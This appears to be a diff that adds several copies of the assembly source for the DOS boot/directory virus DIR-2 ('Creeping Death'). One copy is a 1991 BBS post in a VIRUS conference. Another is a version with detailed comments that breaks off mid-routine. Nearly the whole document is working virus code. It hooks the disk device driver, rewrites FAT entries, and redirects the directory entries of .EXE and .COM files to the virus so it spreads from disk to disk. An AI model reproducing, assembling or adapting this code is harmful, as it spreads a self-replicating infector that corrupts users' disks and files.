cmp ax,[si+1ah]
|
||||
je go_on
|
||||
xchg ax,[si+1ah]
|
||||
gad: xor ax,1234h
|
||||
mov [si+14h],ax
|
||||
loop go_on
|
||||
rest: xor ax,ax
|
||||
xchg ax,[si+14h]
|
||||
xor ax,cs:gad+1
|
||||
mov [si+1ah],ax
|
||||
go_on: ;rol cs:gad+1,1
|
||||
db 2eh,0d1h,6
|
||||
dw offset gad+1
|
||||
add si,32
|
||||
cmp di,si
|
||||
jne find
|
||||
ret
|
||||
|
||||
check: mov ah,[bx+1]
|
||||
drive: cmp ah,-1
|
||||
mov cs:[drive+2],ah
|
||||
jne changed
|
||||
push [bx+0eh]
|
||||
mov byte ptr [bx+2],1
|
||||
call in
|
||||
cmp byte ptr [bx+0eh],1
|
||||
pop [bx+0eh]
|
||||
mov [bx+2],al
|
||||
changed: ret
|
||||
|
||||
write: cmp byte ptr es:[bx+2],8
|
||||
jae in
|
||||
mov byte ptr es:[bx+2],4
|
||||
mov si,70h
|
||||
mov ds,si
|
||||
modify: mov si,1234h
|
||||
push [si]
|
||||
push [si+2]
|
||||
mov [si],offset i13pr
|
||||
mov [si+2],cs
|
||||
call in
|
||||
pop [si+2]
|
||||
pop [si]
|
||||
ret
|
||||
|
||||
driver: mov es:[bx+12h],1
|
||||
in:
|
||||
db 09ah
|
||||
str_block:
|
||||
dw ?,70h
|
||||
db 09ah
|
||||
int_block:
|
||||
dw ?,70h
|
||||
test es:[bx+4],byte ptr 80h
|
||||
ret
|
||||
|
||||
convert: cmp ax,0ff0h
|
||||
jae fat_16
|
||||
mov si,3
|
||||
xor cs:[si+gad-1],si
|
||||
mul si
|
||||
shr ax,1
|
||||
mov di,0fffh
|
||||
jnc cont
|
||||
mov di,0fff0h
|
||||
jmp short cont
|
||||
fat_16: mov si,2
|
||||
mul si
|
||||
mov di,0ffffh
|
||||
cont: mov si,512
|
||||
div si
|
||||
header: inc ax
|
||||
ret
|
||||
|
||||
counter: dw 0
|
||||
|
||||
dw 842h
|
||||
dw offset main
|
||||
dw offset rts
|
||||
db 7fh
|
||||
|
||||
param: dw 0,80h,?,5ch,?,6ch,?
|
||||
|
||||
bpb_buf: db 32 dup(?)
|
||||
f_name: db 80 dup(?)
|
||||
|
||||
;--------The End.
|
||||
|
|
@ -0,0 +1,497 @@
|
|||
===========================================================================
|
||||
BBS: The Programmer's Inn
|
||||
Date: 11-24-91 (19:52) Number: 3544
|
||||
From: AHMED DOGAN Refer#: NONE
|
||||
To: ALL Recvd: NO
|
||||
Subj: DIR-2 Conf: (16) VIRUS
|
||||
---------------------------------------------------------------------------
|
||||
; Creeping Death V 1.0
|
||||
;
|
||||
; (C) Copyright 1991 by VirusSoft Corp.
|
||||
|
||||
i13org = 5f8h
|
||||
i21org = 5fch
|
||||
|
||||
org 100h
|
||||
|
||||
mov sp,600h
|
||||
inc counter
|
||||
xor cx,cx
|
||||
mov ds,cx
|
||||
lds ax,[0c1h]
|
||||
add ax,21h
|
||||
push ds
|
||||
push ax
|
||||
mov ah,30h
|
||||
call jump
|
||||
cmp al,4
|
||||
sbb si,si
|
||||
mov drive+2,byte ptr -1
|
||||
mov bx,60h
|
||||
mov ah,4ah
|
||||
call jump
|
||||
|
||||
mov ah,52h
|
||||
call jump
|
||||
push es:[bx-2]
|
||||
lds bx,es:[bx]
|
||||
|
||||
search: mov ax,[bx+si+15h]
|
||||
cmp ax,70h
|
||||
jne next
|
||||
xchg ax,cx
|
||||
mov [bx+si+18h],byte ptr -1
|
||||
mov di,[bx+si+13h]
|
||||
mov [bx+si+13h],offset header
|
||||
mov [bx+si+15h],cs
|
||||
next: lds bx,[bx+si+19h]
|
||||
cmp bx,-1
|
||||
jne search
|
||||
jcxz install
|
||||
|
||||
pop ds
|
||||
mov ax,ds
|
||||
add ax,[3]
|
||||
inc ax
|
||||
mov dx,cs
|
||||
dec dx
|
||||
cmp ax,dx
|
||||
jne no_boot
|
||||
add [3],61h
|
||||
no_boot: mov ds,dx
|
||||
mov [1],8
|
||||
|
||||
mov ds,cx
|
||||
les ax,[di+6]
|
||||
mov cs:str_block,ax
|
||||
mov cs:int_block,es
|
||||
|
||||
cld
|
||||
mov si,1
|
||||
scan: dec si
|
||||
lodsw
|
||||
cmp ax,1effh
|
||||
jne scan
|
||||
mov ax,2cah
|
||||
cmp [si+4],ax
|
||||
je right
|
||||
cmp [si+5],ax
|
||||
jne scan
|
||||
right: lodsw
|
||||
push cs
|
||||
pop es
|
||||
mov di,offset modify+1
|
||||
stosw
|
||||
xchg ax,si
|
||||
mov di,offset i13org
|
||||
cli
|
||||
movsw
|
||||
movsw
|
||||
|
||||
mov dx,0c000h
|
||||
fdsk1: mov ds,dx
|
||||
xor si,si
|
||||
lodsw
|
||||
cmp ax,0aa55h
|
||||
jne fdsk4
|
||||
cbw
|
||||
lodsb
|
||||
mov cl,9
|
||||
sal ax,cl
|
||||
fdsk2: cmp [si],6c7h
|
||||
jne fdsk3
|
||||
cmp [si+2],4ch
|
||||
jne fdsk3
|
||||
push dx
|
||||
push [si+4]
|
||||
jmp short death
|
||||
install: int 20h
|
||||
file: db "c:",255,0
|
||||
fdsk3: inc si
|
||||
cmp si,ax
|
||||
jb fdsk2
|
||||
fdsk4: inc dx
|
||||
cmp dh,0f0h
|
||||
jb fdsk1
|
||||
|
||||
sub sp,4
|
||||
death: push cs
|
||||
pop ds
|
||||
mov bx,[2ch]
|
||||
mov es,bx
|
||||
mov ah,49h
|
||||
call jump
|
||||
xor ax,ax
|
||||
test bx,bx
|
||||
jz boot
|
||||
mov di,1
|
||||
seek: dec di
|
||||
scasw
|
||||
jne seek
|
||||
lea si,[di+2]
|
||||
jmp short exec
|
||||
boot: mov es,[16h]
|
||||
mov bx,es:[16h]
|
||||
dec bx
|
||||
xor si,si
|
||||
exec: push bx
|
||||
mov bx,offset param
|
||||
mov [bx+4],cs
|
||||
mov [bx+8],cs
|
||||
mov [bx+12],cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov di,offset f_name
|
||||
push di
|
||||
mov cx,40
|
||||
rep movsw
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3dh
|
||||
mov dx,offset file
|
||||
call jump
|
||||
pop dx
|
||||
|
||||
mov ax,4b00h
|
||||
call jump
|
||||
mov ah,4dh
|
||||
call jump
|
||||
mov ah,4ch
|
||||
|
||||
jump: pushf
|
||||
call dword ptr cs:[i21org]
|
||||
ret
|
||||
|
||||
|
||||
;--------Installation complete
|
||||
|
||||
i13pr: mov ah,3
|
||||
jmp dword ptr cs:[i13org]
|
||||
|
||||
|
||||
main: push ax ; driver
|
||||
push cx ; strategy block
|
||||
push dx
|
||||
push ds
|
||||
push si
|
||||
push di
|
||||
|
||||
push es
|
||||
pop ds
|
||||
mov al,[bx+2]
|
||||
|
||||
cmp al,4 ; Input
|
||||
je input
|
||||
cmp al,8
|
||||
je output
|
||||
cmp al,9
|
||||
je output
|
||||
|
||||
call in
|
||||
cmp al,2 ; Build BPB
|
||||
jne ppp ;
|
||||
lds si,[bx+12h]
|
||||
mov di,offset bpb_buf
|
||||
mov es:[bx+12h],di
|
||||
mov es:[bx+14h],cs
|
||||
push es
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov cx,16
|
||||
rep movsw
|
||||
pop es
|
||||
push cs
|
||||
pop ds
|
||||
mov al,[di+2-32]
|
||||
cmp al,2
|
||||
adc al,0
|
||||
cbw
|
||||
cmp [di+8-32],0
|
||||
je m32
|
||||
sub [di+8-32],ax
|
||||
jmp short ppp
|
||||
m32: sub [di+15h-32],ax
|
||||
sbb [di+17h-32],0
|
||||
|
||||
ppp: pop di
|
||||
pop si
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
rts: retf
|
||||
|
||||
output: mov cx,0ff09h
|
||||
call check
|
||||
jz inf_sec
|
||||
call in
|
||||
jmp short inf_dsk
|
||||
|
||||
inf_sec: jmp _inf_sec
|
||||
read: jmp _read
|
||||
read_: add sp,16
|
||||
jmp short ppp
|
||||
|
||||
input: call check
|
||||
jz read
|
||||
inf_dsk: mov byte ptr [bx+2],4
|
||||
cld
|
||||
lea si,[bx+0eh]
|
||||
mov cx,8
|
||||
save: lodsw
|
||||
push ax
|
||||
loop save
|
||||
mov [bx+14h],1
|
||||
call driver
|
||||
jnz read_
|
||||
mov byte ptr [bx+2],2
|
||||
call in
|
||||
lds si,[bx+12h]
|
||||
mov ax,[si+6]
|
||||
add ax,15
|
||||
mov cl,4
|
||||
shr ax,cl
|
||||
mov di,[si+0bh]
|
||||
add di,di
|
||||
stc
|
||||
adc di,ax
|
||||
push di
|
||||
cwd
|
||||
mov ax,[si+8]
|
||||
test ax,ax
|
||||
jnz more
|
||||
mov ax,[si+15h]
|
||||
mov dx,[si+17h]
|
||||
more: xor cx,cx
|
||||
sub ax,di
|
||||
sbb dx,cx
|
||||
mov cl,[si+2]
|
||||
div cx
|
||||
cmp cl,2
|
||||
sbb ax,-1
|
||||
push ax
|
||||
call convert
|
||||
mov byte ptr es:[bx+2],4
|
||||
mov es:[bx+14h],ax
|
||||
call driver
|
||||
again: lds si,es:[bx+0eh]
|
||||
add si,dx
|
||||
sub dh,cl
|
||||
adc dx,ax
|
||||
mov cs:gad+1,dx
|
||||
cmp cl,1
|
||||
je small
|
||||
mov ax,[si]
|
||||
and ax,di
|
||||
cmp ax,0fff7h
|
||||
je bad
|
||||
cmp ax,0ff7h
|
||||
je bad
|
||||
cmp ax,0ff70h
|
||||
jne ok
|
||||
bad: pop ax
|
||||
dec ax
|
||||
push ax
|
||||
call convert
|
||||
jmp short again
|
||||
|
||||
small: not di
|
||||
and [si],di
|
||||
pop ax
|
||||
push ax
|
||||
inc ax
|
||||
push ax
|
||||
mov dx,0fh
|
||||
test di,dx
|
||||
jz here
|
||||
inc dx
|
||||
mul dx
|
||||
here: or [si],ax
|
||||
pop ax
|
||||
call convert
|
||||
mov si,es:[bx+0eh]
|
||||
add si,dx
|
||||
mov ax,[si]
|
||||
and ax,di
|
||||
ok: mov dx,di
|
||||
dec dx
|
||||
and dx,di
|
||||
not di
|
||||
and [si],di
|
||||
or [si],dx
|
||||
|
||||
cmp ax,dx
|
||||
pop ax
|
||||
pop di
|
||||
mov cs:pointer+1,ax
|
||||
je _read_
|
||||
mov dx,[si]
|
||||
push ds
|
||||
push si
|
||||
call write
|
||||
pop si
|
||||
pop ds
|
||||
jnz _read_
|
||||
call driver
|
||||
cmp [si],dx
|
||||
jne _read_
|
||||
dec ax
|
||||
dec ax
|
||||
mul cx
|
||||
add ax,di
|
||||
adc dx,0
|
||||
push es
|
||||
pop ds
|
||||
mov [bx+12h],2
|
||||
mov [bx+14h],ax
|
||||
test dx,dx
|
||||
jz less
|
||||
mov [bx+14h],-1
|
||||
mov [bx+1ah],ax
|
||||
mov [bx+1ch],dx
|
||||
less: mov [bx+10h],cs
|
||||
mov [bx+0eh],100h
|
||||
call write
|
||||
|
||||
_read_: std
|
||||
lea di,[bx+1ch]
|
||||
mov cx,8
|
||||
load: pop ax
|
||||
stosw
|
||||
loop load
|
||||
_read: call in
|
||||
|
||||
mov cx,9
|
||||
_inf_sec:
|
||||
mov di,es:[bx+12h]
|
||||
lds si,es:[bx+0eh]
|
||||
sal di,cl
|
||||
xor cl,cl
|
||||
add di,si
|
||||
xor dl,dl
|
||||
push ds
|
||||
push si
|
||||
call find
|
||||
jcxz no_inf
|
||||
call write
|
||||
and es:[bx+4],byte ptr 07fh
|
||||
no_inf: pop si
|
||||
pop ds
|
||||
inc dx
|
||||
call find
|
||||
jmp ppp
|
||||
|
||||
;--------Subroutines
|
||||
|
||||
find: mov ax,[si+8]
|
||||
cmp ax,"XE"
|
||||
jne com
|
||||
cmp [si+10],al
|
||||
je found
|
||||
com: cmp ax,"OC"
|
||||
jne go_on
|
||||
cmp byte ptr [si+10],"M"
|
||||
jne go_on
|
||||
|
||||
found: test [si+1eh],0ffc0h ; >4MB
|
||||
jnz go_on
|
||||
test [si+1dh],03ff8h ; <2048B
|
||||
jz go_on
|
||||
test [si+0bh],byte ptr 1ch
|
||||
jnz go_on
|
||||
test dl,dl
|
||||
jnz rest
|
||||
pointer: mov ax,1234h
|
||||
cmp ax,[si+1ah]
|
||||
je go_on
|
||||
xchg ax,[si+1ah]
|
||||
gad: xor ax,1234h
|
||||
mov [si+14h],ax
|
||||
loop go_on
|
||||
rest: xor ax,ax
|
||||
xchg ax,[si+14h]
|
||||
xor ax,cs:gad+1
|
||||
mov [si+1ah],ax
|
||||
go_on: ;rol cs:gad+1,1
|
||||
db 2eh,0d1h,6
|
||||
dw offset gad+1
|
||||
add si,32
|
||||
cmp di,si
|
||||
jne find
|
||||
ret
|
||||
|
||||
check: mov ah,[bx+1]
|
||||
drive: cmp ah,-1
|
||||
mov cs:[drive+2],ah
|
||||
jne changed
|
||||
push [bx+0eh]
|
||||
mov byte ptr [bx+2],1
|
||||
call in
|
||||
cmp byte ptr [bx+0eh],1
|
||||
pop [bx+0eh]
|
||||
mov [bx+2],al
|
||||
changed: ret
|
||||
|
||||
write: cmp byte ptr es:[bx+2],8
|
||||
jae in
|
||||
mov byte ptr es:[bx+2],4
|
||||
mov si,70h
|
||||
mov ds,si
|
||||
modify: mov si,1234h
|
||||
push [si]
|
||||
push [si+2]
|
||||
mov [si],offset i13pr
|
||||
mov [si+2],cs
|
||||
call in
|
||||
pop [si+2]
|
||||
pop [si]
|
||||
ret
|
||||
|
||||
driver: mov es:[bx+12h],1
|
||||
in:
|
||||
db 09ah
|
||||
str_block:
|
||||
dw ?,70h
|
||||
db 09ah
|
||||
int_block:
|
||||
dw ?,70h
|
||||
test es:[bx+4],byte ptr 80h
|
||||
ret
|
||||
|
||||
convert: cmp ax,0ff0h
|
||||
jae fat_16
|
||||
mov si,3
|
||||
xor cs:[si+gad-1],si
|
||||
mul si
|
||||
shr ax,1
|
||||
mov di,0fffh
|
||||
jnc cont
|
||||
mov di,0fff0h
|
||||
jmp short cont
|
||||
fat_16: mov si,2
|
||||
mul si
|
||||
mov di,0ffffh
|
||||
cont: mov si,512
|
||||
div si
|
||||
header: inc ax
|
||||
ret
|
||||
|
||||
counter: dw 0
|
||||
|
||||
dw 842h
|
||||
dw offset main
|
||||
dw offset rts
|
||||
db 7fh
|
||||
|
||||
param: dw 0,80h,?,5ch,?,6ch,?
|
||||
|
||||
bpb_buf: db 32 dup(?)
|
||||
f_name: db 80 dup(?)
|
||||
|
||||
;--------The End.
|
||||
|
||||
|
|
@ -0,0 +1,554 @@
|
|||
|
||||
i13org = 5f8h
|
||||
i21org = 5fch
|
||||
|
||||
dir_2 segment byte public
|
||||
assume cs:dir_2, ds:dir_2
|
||||
|
||||
org 100h
|
||||
|
||||
start:
|
||||
mov sp,600h ; Set up the stack pointer
|
||||
inc word ptr counter ; Generation counter
|
||||
xor cx,cx
|
||||
mov ds,cx ; DS points to interrupt table
|
||||
lds ax, ds:[0c1h] ; Find interrupt 30h
|
||||
add ax,21h ; Change it to Int 21h
|
||||
push ds ; Save it on stack for use by
|
||||
push ax ; subroutine "jump"
|
||||
mov ah,30h ; Get DOS version
|
||||
call jump
|
||||
cmp al,4 ; DOS 4.X+ : SI = 0
|
||||
sbb si,si ; DOS 2/3 : SI = -1
|
||||
mov byte ptr [drive+2],byte ptr -1 ; Initialise last drive to
|
||||
; "never accessed"
|
||||
mov bx,60h ; Adjust memory in ES to
|
||||
mov ah,4ah ; BX paragraphs.
|
||||
call jump
|
||||
|
||||
mov ah,52h ; Get DOS List of Lists
|
||||
call jump ; to ES:BX
|
||||
push es:[bx-2] ; Save Segment of first MCB
|
||||
lds bx,es:[bx] ; DS:BX -> 1st DPB
|
||||
; (Drive parameter block)
|
||||
search: mov ax,[bx+si+15h] ; Get segment of device driver
|
||||
cmp ax,70h ; Is it CONFIG? (I think)
|
||||
jne next ; If not, try again
|
||||
xchg ax,cx ; Move driver segment to CX
|
||||
mov [bx+si+18h],byte ptr -1 ; Flag block must be rebuilt
|
||||
mov di,[bx+si+13h] ; Save offset of device driver
|
||||
; Original device driver
|
||||
; address in CX:DI
|
||||
mov [bx+si+13h],offset header ; Replace with our own
|
||||
mov [bx+si+15h],cs ; (header)
|
||||
next: lds bx,[bx+si+19h] ; Get next device block
|
||||
cmp bx,-1 ; Is it the last one?
|
||||
jne search ; If not, search it
|
||||
jcxz install
|
||||
|
||||
pop ds ; Restore segment of first
|
||||
mov ax,ds ; MCB
|
||||
add ax,ds:[3] ; Go to next MCB
|
||||
inc ax ; AX = segment next MCB
|
||||
mov dx,cs ; DX = MCB owning current
|
||||
dec dx ; program
|
||||
cmp ax,dx ; Are these the same?
|
||||
jne no_boot ; If not, we are not currently
|
||||
; in the middle of a reboot
|
||||
add word ptr ds:[3],61h ; Increase length owned by
|
||||
; MCB by 1552 bytes
|
||||
no_boot: mov ds,dx ; DS = MCB owning current
|
||||
; program
|
||||
mov word ptr ds:[1],8 ; Set owner = DOS
|
||||
|
||||
mov ds,cx ; DS = segment of original
|
||||
; device driver
|
||||
les ax,[di+6] ; ES = offset int handler
|
||||
; AX = offset strategy entry
|
||||
mov word ptr cs:str_block,ax ; Save entry point
|
||||
mov word ptr cs:int_block,es ; And int block for use in
|
||||
; function _in
|
||||
cld ; Scan for the write
|
||||
mov si,1 ; function in the
|
||||
scan: dec si ; original device driver
|
||||
lodsw
|
||||
cmp ax,1effh
|
||||
jne scan
|
||||
mov ax,2cah ; Wicked un-yar place o'
|
||||
cmp [si+4],ax ; doom.
|
||||
je right
|
||||
cmp [si+5],ax
|
||||
jne scan
|
||||
right: lodsw
|
||||
push cs
|
||||
pop es
|
||||
mov di,offset modify+1 ; Save address of patch
|
||||
stosw ; area so it can be changed
|
||||
xchg ax,si ; later.
|
||||
mov di,offset i13org ; This is in the stack, but
|
||||
cli ; it is used by "i13pr"
|
||||
movsw
|
||||
movsw
|
||||
|
||||
mov dx,0c000h ; Scan for hard disk ROM
|
||||
; Start search @ segment C000h
|
||||
fdsk1: mov ds,dx ; Load up the segment
|
||||
xor si,si ; atart at offset 0000h
|
||||
lodsw ; Scan for the signature
|
||||
cmp ax,0aa55h ; Is it the signature?
|
||||
jne fdsk4 ; If not, change segment
|
||||
cbw ; clear AH
|
||||
lodsb ; load a byte to AL
|
||||
mov cl,9
|
||||
sal ax,cl ; Shift left, 0 filled
|
||||
fdsk2: cmp [si],6c7h
|
||||
jne fdsk3
|
||||
cmp word ptr [si+2],4ch
|
||||
jne fdsk3
|
||||
push dx ; Save the segment
|
||||
push [si+4] ; and offset on stack
|
||||
jmp short death ; for use by i13pr
|
||||
|
||||
install: int 20h
|
||||
file: db "c:",255,0
|
||||
fdsk3: inc si ; Increment search offset
|
||||
cmp si,ax ; If we are not too high,
|
||||
jb fdsk2 ; try again
|
||||
fdsk4: inc dx ; Increment search segment
|
||||
cmp dh,0f0h ; If we are not in high
|
||||
jb fdsk1 ; memory, try again
|
||||
|
||||
sub sp,4 ; effectively push dummy vars.
|
||||
death: push cs ; on stack for use by i13pr
|
||||
pop ds
|
||||
mov bx,ds:[2ch] ; Get environment from PSP
|
||||
mov es,bx
|
||||
mov ah,49h ; Release it (to save memory)
|
||||
call jump
|
||||
xor ax,ax
|
||||
test bx,bx ; Is BX = 0?
|
||||
jz boot ; If so, we are booting now
|
||||
mov di,1 ; and not running a file
|
||||
seek: dec di ; Search for end of
|
||||
scasw ; the environment block
|
||||
jne seek
|
||||
lea si,[di+2] ; SI points to filename
|
||||
jmp short exec ; (in DOS 3.X+)
|
||||
; Execute that file
|
||||
boot: mov es,ds:[16h] ; get PSP of parent
|
||||
mov bx,es:[16h] ; get PSP of parent
|
||||
dec bx ; go to its MCB
|
||||
xor si,si
|
||||
exec: push bx
|
||||
mov bx,offset param ; Set up parameter block
|
||||
; for EXEC function
|
||||
mov [bx+4],cs ; segment to command line
|
||||
mov [bx+8],cs ; segment to 1st FCB
|
||||
mov [bx+12],cs ; segment to 2nd FCB
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov di,offset f_name
|
||||
push di ; Save filename offset
|
||||
mov cx,40 ; Copy the filename to
|
||||
rep movsw ; the buffer
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3dh ; Handle open file
|
||||
mov dx,offset file ; "c:ÿ",0
|
||||
call jump
|
||||
pop dx ; DS:DX -> filename
|
||||
|
||||
mov ax,4b00h ; Load and Execute
|
||||
call jump ; ES:BX = param block
|
||||
mov ah,4dh ; Get errorlevel
|
||||
call jump
|
||||
mov ah,4ch ; Terminate
|
||||
|
||||
jump: pushf ; Simulate an interrupt 21h
|
||||
call dword ptr cs:[i21org]
|
||||
ret
|
||||
|
||||
|
||||
;--------Installation complete
|
||||
|
||||
i13pr: mov ah,3 ; Write AL sectors from ES:BX
|
||||
jmp dword ptr cs:[i13org] ; to track CH, sector CL,
|
||||
; head DH, drive DL
|
||||
|
||||
|
||||
main: push ax ; driver
|
||||
push cx ; strategy block
|
||||
push dx
|
||||
push ds
|
||||
push si
|
||||
push di
|
||||
|
||||
push es ; Move segment of parameter
|
||||
pop ds ; block to DS
|
||||
mov al,[bx+2] ; [bx+2] holds command code
|
||||
|
||||
cmp al,4 ; Input (read)
|
||||
je input
|
||||
cmp al,8 ; Output (write)
|
||||
je output
|
||||
cmp al,9 ; Output (write) with verify
|
||||
je output
|
||||
|
||||
call in_ ; Call original device
|
||||
cmp al,2 ; Request build BPB
|
||||
jne ppp ; If none of the above, exit
|
||||
lds si,[bx+12h] ; DS:SI point to BPB table
|
||||
mov di,offset bpb_buf ; Replace old pointer with
|
||||
mov es:[bx+12h],di ; a pointer to our own
|
||||
mov es:[bx+14h],cs ; BPB table
|
||||
push es ; Save segment of parameters
|
||||
push cs
|
||||
pop es
|
||||
mov cx,16 ; Copy the old BPB table to
|
||||
rep movsw ; our own
|
||||
pop es ; Restore parameter segment
|
||||
push cs
|
||||
pop ds
|
||||
mov al,[di+2-32] ; AL = sectors per allocation
|
||||
cmp al,2 ; unit. If less than
|
||||
adc al,0 ; 2, increment
|
||||
cbw ; Extend sign to AH (clear AH)
|
||||
cmp word ptr [di+8-32],0 ; Is total number sectors = 0?
|
||||
je m32 ; If so, big partition (>32MB)
|
||||
sub [di+8-32],ax ; Decrease space of disk by
|
||||
; one allocation unit(cluster)
|
||||
jmp short ppp ; Exit
|
||||
m32: sub [di+15h-32],ax ; Handle large partitions
|
||||
sbb word ptr [di+17h-32],0
|
||||
|
||||
ppp: pop di
|
||||
pop si
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
rts: retf ; We are outta here!
|
||||
|
||||
output: mov cx,0ff09h
|
||||
call check ; is it a new disk?
|
||||
jz inf_sec ; If not, go away
|
||||
call in_ ; Call original device handler
|
||||
jmp short inf_dsk
|
||||
|
||||
inf_sec: jmp _inf_sec
|
||||
read: jmp _read
|
||||
read_: add sp,16 ; Restore the stack
|
||||
jmp short ppp ; Leave device driver
|
||||
|
||||
input: call check ; Is it a new disk?
|
||||
jz read ; If not, leave
|
||||
inf_dsk: mov byte ptr [bx+2],4 ; Set command code to READ
|
||||
cld
|
||||
lea si,[bx+0eh] ; Load from buffer address
|
||||
mov cx,8 ; Save device driver request
|
||||
save: lodsw ; on the stack
|
||||
push ax
|
||||
loop save
|
||||
mov word ptr [bx+14h],1 ; Starting sector number = 1
|
||||
; (Read 1st FAT)
|
||||
call driver ; Read one sector
|
||||
jnz read_ ; If error, exit
|
||||
mov byte ptr [bx+2],2 ; Otherwise build BPB
|
||||
call in_ ; Have original driver do the
|
||||
; work
|
||||
lds si,[bx+12h] ; DS:SI points to BPB table
|
||||
mov ax,[si+6] ; Number root directory entries
|
||||
add ax,15 ; Round up
|
||||
mov cl,4
|
||||
shr ax,cl ; Divide by 16 to find sectors
|
||||
; of root directory
|
||||
mov di,[si+0bh] ; DI = sectors/FAT
|
||||
add di,di ; Double for 2 FATs
|
||||
stc ; Add one for boot record
|
||||
adc di,ax ; Add sector size of root dir
|
||||
push di ; to find starting sector of
|
||||
; data (and read)
|
||||
cwd ; Clear DX
|
||||
mov ax,[si+8] ; AX = total sectors
|
||||
test ax,ax ; If it is zero, then we have
|
||||
jnz more ; an extended partition(>32MB)
|
||||
mov ax,[si+15h] ; Load DX:AX with total number
|
||||
mov dx,[si+17h] ; of sectors
|
||||
more: xor cx,cx
|
||||
sub ax,di ; Calculate FAT entry for last
|
||||
; sector of disk
|
||||
sbb dx,cx
|
||||
mov cl,[si+2] ; CL = sectors/cluster
|
||||
div cx ; AX = cluster #
|
||||
cmp cl,2 ; If there is more than 1
|
||||
sbb ax,-1 ; cluster/sector, add one
|
||||
push ax ; Save cluster number
|
||||
call convert ; AX = sector number to read
|
||||
; DX = offset in sector AX
|
||||
; of FAT entry
|
||||
; DI = mask for EOF marker
|
||||
mov byte ptr es:[bx+2],4 ; INPUT (read)
|
||||
mov es:[bx+14h],ax ; Starting sector = AX
|
||||
call driver ; One sector only
|
||||
again: lds si,es:[bx+0eh] ; DS:SI = buffer address
|
||||
add si,dx ; Go to FAT entry
|
||||
sub dh,cl ; Calculate a new encryption
|
||||
adc dx,ax ; value
|
||||
mov word ptr cs:gad+1,dx ; Change the encryption value
|
||||
cmp cl,1 ; If there is 0 cluster/sector
|
||||
je small_ ; then jump to "small_"
|
||||
mov ax,[si] ; Load AX with offset of FAT
|
||||
; entry
|
||||
and ax,di ; Mask it with value from
|
||||
; "convert" then test to see
|
||||
; if the sector is fine
|
||||
cmp ax,0fff7h ; 16 bit reserved/bad
|
||||
je bad
|
||||
cmp ax,0ff7h ; 12 bit reserved/bad
|
||||
je bad
|
||||
cmp ax,0ff70h ; 12 bit reserved/bad
|
||||
jne ok
|
||||
bad: pop ax ; Tried to replicate on a bad
|
||||
dec ax ; cluster. Try again on a
|
||||
push ax ; lower one.
|
||||
call convert ; Find where it is in the FAT
|
||||
jmp short again ; and try once more
|
||||
small_: not di ; Reverse mask bits
|
||||
and [si],di ; Clear other bits
|
||||
pop ax ; AX = cluster number
|
||||
push ax
|
||||
inc ax ; Need to do 2 consecutive
|
||||
push ax ; bytes
|
||||
mov dx,0fh
|
||||
test di,dx
|
||||
jz here
|
||||
inc dx ; Multiply by 16
|
||||
mul dx
|
||||
here: or [si],ax ; Set cluster to next
|
||||
pop ax ; Restore cluster of write
|
||||
call convert ; Calculate buffer offset
|
||||
mov si,es:[bx+0eh] ; Go to FAT entry (in buffer)
|
||||
add si,dx
|
||||
mov ax,[si]
|
||||
and ax,di
|
||||
ok: mov dx,di ; DI = mask from "convert"
|
||||
dec dx
|
||||
and dx,di ; Yerg!
|
||||
not di
|
||||
and [si],di
|
||||
or [si],dx ; Set [si] to DI
|
||||
|
||||
cmp ax,dx ; Did we change the FAT?
|
||||
pop ax ; i.e. Are we already on this
|
||||
pop di ; disk?
|
||||
mov word ptr cs:pointer+1,ax ; Our own starting cluster
|
||||
je _read_ ; If we didn't infect, then
|
||||
; leave the routine. Oh
|
||||
; welp-o.
|
||||
mov dx,[si]
|
||||
push ds
|
||||
push si
|
||||
call write ; Update the FAT
|
||||
pop si
|
||||
pop ds
|
||||
jnz _read_ ; Quit if there's an error
|
||||
call driver
|
||||
cmp [si],dx
|
||||
jne _read_
|
||||
dec ax
|
||||
dec ax
|
||||
mul cx ; Multiply by sectors/cluster
|
||||
; to find the sector of the
|
||||
; write
|
||||
add ax,di
|
||||
adc dx,0
|
||||
push es
|
||||
pop ds
|
||||
mov word ptr [bx+12h],2 ; Byte/sector count
|
||||
mov [bx+14h],ax ; Starting sector #
|
||||
test dx,dx
|
||||
jz less
|
||||
mov word ptr [bx+14h],-1 ; Flag extended partition
|
||||
mov [bx+1ah],ax ; Handle the sector of the
|
||||
mov [bx+1ch],dx ; extended partition
|
||||
less: mov [bx+10h],cs ; Transfer address segment
|
||||
mov [bx+0eh],100h ; and the offset (duh)
|
||||
call write ; Zopy ourselves!
|
||||
; (We want to travel)
|
||||
_read_: std
|
||||
lea di,[bx+1ch] ; Restore device driver header
|
||||
mov cx,8 ; from the stack
|
||||
load: pop ax
|
||||
stosw
|
||||
loop load
|
||||
_read: call in_ ; Call original device handler
|
||||
|
||||
mov cx,9
|
||||
_inf_sec:
|
||||
mov di,es:[bx+12h] ; Bytes/Sector
|
||||
lds si,es:[bx+0eh] ; DS:SI = pointer to buffer
|
||||
sal di,cl ; Multiply by 512
|
||||
; DI = byte count
|
||||
xor cl,cl
|
||||
add di,si ; Go to address in the buffer
|
||||
xor dl,dl ; Flag for an infection in
|
||||
; function find
|
||||
push ds
|
||||
push si
|
||||
call find ; Infect the directory
|
||||
jcxz no_inf
|
||||
call write ; Write it back to the disk
|
||||
and es:[bx+4],byte ptr 07fh ; Clear error bit in status
|
||||
; word
|
||||
no_inf: pop si
|
||||
pop ds
|
||||
inc dx ; Flag for a decryption in
|
||||
; function find
|
||||
call find ; Return right information to
|
||||
; calling program
|
||||
jmp ppp
|
||||
|
||||
;--------Subroutines
|
||||
|
||||
find: mov ax,[si+8] ; Check filename extension
|
||||
cmp ax,"XE" ; in directory structure
|
||||
jne com
|
||||
cmp [si+10],al
|
||||
je found
|
||||
com: cmp ax,"OC"
|
||||
jne go_on
|
||||
cmp byte ptr [si+10],"M"
|
||||
jne go_on
|
||||
found: test [si+1eh],0ffc0h ; >4MB ; Check file size high word
|
||||
jnz go_on ; to see if it is too big
|
||||
test [si+1dh],03ff8h ; <2048B ; Check file size low word
|
||||
jz go_on ; to see if it is too small
|
||||
test [si+0bh],byte ptr 1ch ; Check attribute for subdir,
|
||||
jnz go_on ; volume label or system file
|
||||
test dl,dl ; If none of these, check DX
|
||||
